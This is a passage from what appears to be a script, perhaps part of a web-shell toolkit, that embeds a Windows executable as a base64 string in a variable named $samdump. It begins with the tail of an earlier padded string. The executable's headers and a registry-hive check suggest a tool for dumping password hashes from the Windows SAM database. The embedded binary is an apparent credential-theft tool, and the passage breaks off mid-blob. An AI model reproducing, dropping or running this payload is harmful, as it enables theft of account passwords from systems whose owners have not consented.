AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$samdump="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAABQRQAATAEFAHD4djQAAAAAAAAAAOAADgELAQMKALIAAABqAAAAAAAAAFIA
AAAQAAAA0AAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAQAABAAAAAAAAAMAAAAAABAA
ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAAgAQAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAADABAOwKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAYIQEA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAhLEAAAAQAAAAsgAAAAQA
AAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAAgfAAAA0AAAACAAAAC2AAAAAAAAAAAAAAAAAABAAABA
LmRhdGEAAAAULwAAAPAAAAAcAAAA1gAAAAAAAAAAAAAAAAAAQAAAwC5pZGF0YQAAJAYAAAAgAQAA
CAAAAPIAAAAAAAAAAAAAAAAAAEAAAMAucmVsb2MAACQQAAAAMAEAABIAAAD6AAAAAAAAAAAAAAAA
AABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
M/oz2ovHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvD
JQAA/ADB6BAzqADeQACLxyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOoAOBA
ADOvANlAAIt+CDOrANpAAIteDDPNM/kz2YvHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA
3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACLxyX////8wegYM6gA30AAi8Ml////
/MHoGIHn/AAAAIHj/AAAADOoAOBAADOvANlAAIt+EDOrANpAAIteFDPVM/oz2ovHJQD8AADB6AjB
ywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACL
xyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOoAOBAADOvANlAAIt+GDOrANpA
AIteHDPNM/kz2cHLBIvHi+slAPwAAIHlAPwAAMHoCMHtCIuAANtAADOFANxAAIvvgeUAAPwAwe0Q
M4UA3UAAi+uB5QAA/ADB7RAzhQDeQACDxiCL74Hn/AAAAIHl/////MHtGDOFAN9AAIvrgeX////8
geP8AAAAwe0YM4UA4EAAM4cA2UAAM4MA2kAAM9D/TCQQD4XT/f//6TMCAADHRCQQBAAAAIPGeIs+
i14EM/oz2ovHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1A
AIvDJQAA/ADB6BAzqADeQACLxyX////8gef8AAAAwegYM6gA30AAi8Ml/////IHj/AAAAMHoGDOo
AOBAADOvANlAAIt++DOrANpAAIte/DPNM/kz2YvHJQD8AADB6AjBywSLqADbQACLwyUA/AAAwegI
M6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADeQACLxyX////8wegYM6gA30AAi8Ml
/////MHoGIHn/AAAAIHj/AAAADOoAOBAADOvANlAAIt+8DOrANpAAIte9DPVM/oz2ovHJQD8AADB
6AjBywSLqADbQACLwyUA/AAAwegIM6gA3EAAi8clAAD8AMHoEDOoAN1AAIvDJQAA/ADB6BAzqADe
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
